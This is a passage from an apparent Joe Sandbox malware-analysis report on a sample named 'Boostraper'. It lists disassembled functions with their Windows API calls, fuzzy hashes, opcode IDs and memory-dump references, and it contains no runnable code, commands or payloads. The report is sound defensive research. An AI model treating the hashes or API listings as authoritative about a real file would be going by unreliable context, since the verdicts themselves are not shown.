Instruction Fuzzy Hash: 6AC1C470A042449FEF15CF6CC489BA97BA5EF0A340F49C4B9EC49DB386CB399944CB61

Function 00773B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00773B42

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: cc79af3b6ace02882dabdf3bb6fb87bce2d9be35e3e7924eff1c30eb68961622
Instruction ID: c1405299405cab63c1b6252ef26e82c9f46f57f4644fa19318eb9a8ae279b493
Opcode Fuzzy Hash: cc79af3b6ace02882dabdf3bb6fb87bce2d9be35e3e7924eff1c30eb68961622
Instruction Fuzzy Hash: F171CF71204F44AEDF21DB30CC45AE7B7E8AB14341F44896EE5AE47242DB396A48EF50

Function 0077837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00778384

Part of subcall function 00771380: __EH_prolog.LIBCMT ref: 00771385
Part of subcall function 00771380: new.LIBCMT ref: 007713FE

Part of subcall function 007719A6: __EH_prolog.LIBCMT ref: 007719AB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 25b4716a4a569194a77e59727a0808ce58cd085a35204fd7ca64c40d7136c816
Instruction ID: 2780ccc7d8ae514fbf100e49b83dd10ac38b9834a6448bc097143c267aa12dac
Opcode Fuzzy Hash: 25b4716a4a569194a77e59727a0808ce58cd085a35204fd7ca64c40d7136c816
Instruction Fuzzy Hash: C841C8318406949ADF20DB60CC59BEA73A8AF50340F4484EAE54E97053DFB85FC8DB51

Function 00771E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00771E05

Part of subcall function 00773B3D: __EH_prolog.LIBCMT ref: 00773B42

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 969c5e85f7c821b8d0f7d05dad9138b4d62231ce8c204e568dc403657482dba4
Instruction ID: a2ecc125a839c69be7ca8b7ff64f4099337a6b6e114089402d73982878b0e533
Opcode Fuzzy Hash: 969c5e85f7c821b8d0f7d05dad9138b4d62231ce8c204e568dc403657482dba4
Instruction Fuzzy Hash: 92215732944108DFCF11EFA8D9459EEBBF6BF48340B50406EE849A3251CB3A1E10CB60

Function 0078A7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0078A7C8

Part of subcall function 00771380: __EH_prolog.LIBCMT ref: 00771385
Part of subcall function 00771380: new.LIBCMT ref: 007713FE

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 16511c6d85ec2c155fed742cc95d3c5556281de24ee1302a5f8560f10d6d008c
Instruction ID: 440d77f5e00b9a9ea042ad5973e4684761fea86c6d90cc0a4666b4b5f265db83
Opcode Fuzzy Hash: 16511c6d85ec2c155fed742cc95d3c5556281de24ee1302a5f8560f10d6d008c
Instruction Fuzzy Hash: 11217C71C04249EECF15EF98C9529EEB7B4EF19300F4044AEE809A7242DB396E06DB61

Function 007792E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 007792EB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d1c027fa602fcaa58c959aa8a9436452d706c32fbb55756f27720622ce64edee
Instruction ID: 5e08918fd1f9e77c26f937381a59b24faf8284d5fb3f91cdfc2a14c774a0dceb
Opcode Fuzzy Hash: d1c027fa602fcaa58c959aa8a9436452d706c32fbb55756f27720622ce64edee
Instruction Fuzzy Hash: 13115273A01528EBCF26AAA8CC559EDB735AF48790F05C115F919B7251DA398D1087A0

Function 0077AA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 0077AA9A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction ID: 54a230f16192a0a07adcaa6b0944148703d8751a0e5b721df42d6ce5424c000f
Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction Fuzzy Hash: B7F08130504705AFEF30DA74C94561A77D4EB51360F20C91AE49EC2680E778D880C742

Function 00775BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00775BDC

Part of subcall function 0077B07D: __EH_prolog.LIBCMT ref: 0077B082

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8c43aa56b69b06e364aff5639d9c681eb1c99076f5b190657bfeecdeec671400
Instruction ID: 92c07995f3133888cc27aa9b0dbc3edbbda9df86d72478cc320ba6348c03c4d8
Opcode Fuzzy Hash: 8c43aa56b69b06e364aff5639d9c681eb1c99076f5b190657bfeecdeec671400
Instruction Fuzzy Hash: 9C016230A15694DADB25F7A8C1593DDF7A49F19740F4091ADE49D53283CBF81B04C752

Function 00798518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0079C13D,00000000,?,007967E2,?,00000008,?,007989AD,?,?,?), ref: 0079854A

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2ae2942689394599244c11f3c54f91151056d3c88791b33f4b790138aa1f3251
Instruction ID: c8cb7c02b8c26b7f1bd7523e398e52b9f2778e4033e4fd24d939a42ce681327b
Opcode Fuzzy Hash: 2ae2942689394599244c11f3c54f91151056d3c88791b33f4b790138aa1f3251
Instruction Fuzzy Hash: DCE0E5215441259BEFB12A697C05B5A378C9B833B0F164310BC14E6080CE2CCC1485EB

Function 007796D0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,0077968F,?,?,?,?,007A1FA1,000000FF), ref: 007796EB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 28e4cfea00f3fb89a55b1c50c4c2f688ea4b4d58f13bd6de132c9ea8179aa5e8
Instruction ID: 3b623a4acd11e1b58f1cd63dfbeecbe22f101df2071bc937a4863d0699d166dd
Opcode Fuzzy Hash: 28e4cfea00f3fb89a55b1c50c4c2f688ea4b4d58f13bd6de132c9ea8179aa5e8
Instruction Fuzzy Hash: 64F05E30597B048FDF308A24D548792B7E5AB12765F04DB1E91EB434A0A769A94D8B50

Function 0077A4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0077A4F5

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 04fabb51d112c2869e07c3c14fdfb8c633b71c1a1052fada58d2d84e82401021
Instruction ID: fde3acb782d14ac5413fbcb71b0deedeb684f5bbf90ec5235e9fc1beb8fc64d4
Opcode Fuzzy Hash: 04fabb51d112c2869e07c3c14fdfb8c633b71c1a1052fada58d2d84e82401021
Instruction Fuzzy Hash: 70F0B4310093C0FADE221B7848087CABBA16F563A1F04CA49F2FD02191C2BD14959723

Function 0078067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 007806B1

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: eb445956114e4d782629264714b7c043e1ad9d3ef05d7a892ee6c6873108ca64
Instruction ID: 345cf3436c7565e9855a2ee83a4a9a7c87559d49795a293c9759862f415ca276
Opcode Fuzzy Hash: eb445956114e4d782629264714b7c043e1ad9d3ef05d7a892ee6c6873108ca64
Instruction Fuzzy Hash: 6ED05B25744151AADA213765A80D7FF1A0B4FC3B50F094075B40D575879B8E08DB57F6

Function 00789D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00789D81

Part of subcall function 00789B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00789B30

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: 442b5e93f6af9fb6afebc7da1277bc22a8d7ee1acb2194271f65fb1648ed0f0a
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: D5D0A73039420CFADF40BA708C02A7E7BE8EB00300F044035BD0886141EE75DE20A375

Function 00779989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00779887), ref: 00779995

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 60ec9ec3a9825de8b902164c652ba31028b52ffee43597e45140aa43211f7a41
Instruction ID: db3e46948fddfd748f3b33b45c40bb345468976a073759463c2ce6517adb09c1
Opcode Fuzzy Hash: 60ec9ec3a9825de8b902164c652ba31028b52ffee43597e45140aa43211f7a41
Instruction Fuzzy Hash: 4DD01231012140959F254A344D090AAB752DBC33F6B38C6A8E369C40A1D72BD803F941

Function 0078D41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0078D43F

Part of subcall function 0078AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0078AC85
Part of subcall function 0078AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0078AC96
Part of subcall function 0078AC74: IsDialogMessageW.USER32(00010456,?), ref: 0078ACAA
Part of subcall function 0078AC74: TranslateMessage.USER32(?), ref: 0078ACB8
Part of subcall function 0078AC74: DispatchMessageW.USER32(?), ref: 0078ACC2

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 3416b94002f74343f2901aff9168abb69474571e221e6cfa18ea93abf11c7ea9
Instruction ID: 24de73f37619da411c04f14d60e2fef7444db0a73088fff15605b81071bdc5f7
Opcode Fuzzy Hash: 3416b94002f74343f2901aff9168abb69474571e221e6cfa18ea93abf11c7ea9
Instruction Fuzzy Hash: DFD09E31144300BBDA112B51CE07F0F7AA6AB98B05F008655B348740B286669D21DB1A

Function 0078D8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 423f42f897930393a0e36d48e48d9c420f002bed48e433036b2c342efb490096
Instruction ID: f25e54075ee2e3ba8080ea81a0bce3d8b2fe061417af30d7246bbbee9a856e45
Opcode Fuzzy Hash: 423f42f897930393a0e36d48e48d9c420f002bed48e433036b2c342efb490096
Instruction Fuzzy Hash: CCB012E13EC002BC311C7115AC06D36032CC4C2B10330812BB10DD01C2E44C6D071631

Function 0078D8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0c1d30c7e285449f9489c3f8d49a4fc1e8ca03ade8227a4a5695888e58f5cde6
Instruction ID: ddaab0e1c26cf1f6029f6e4c4b56a1bd00c9206abec7e68c9ea5503d2c3a82b2
Opcode Fuzzy Hash: 0c1d30c7e285449f9489c3f8d49a4fc1e8ca03ade8227a4a5695888e58f5cde6
Instruction Fuzzy Hash: EAB012E13EC001BC311C71146D06D36032CC4C2B10330812BB10DD01C2E44D6E071631

Function 0078D8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cf0387f30068991f006a0bc1b727caeaf53688adc68d3cf81326dbbcd7a39be7
Instruction ID: f0cb88100b822507c01264184a385cf9df81d35102d4e43a9c9efa2306d3c8ec
Opcode Fuzzy Hash: cf0387f30068991f006a0bc1b727caeaf53688adc68d3cf81326dbbcd7a39be7
Instruction Fuzzy Hash: E3B012E13EC101BC315871146C06D36032CC4C2B10330822BF10DD01C2E44C6D471631

Function 0078D8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a1751bdfd3327b0d487e3ef2cc17f13cfdc16b98d2a03bc09ecdf216fdc206bc
Instruction ID: 3b25bc3850352c3869fd4aeb95a82b639904bcbea6c8f943545a6fde356d580e
Opcode Fuzzy Hash: a1751bdfd3327b0d487e3ef2cc17f13cfdc16b98d2a03bc09ecdf216fdc206bc
Instruction Fuzzy Hash: 44B012E13EC001BC311871146C06D36032CC4C3B10330C12BB50DD01C2E44C6D071631

Function 0078D8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
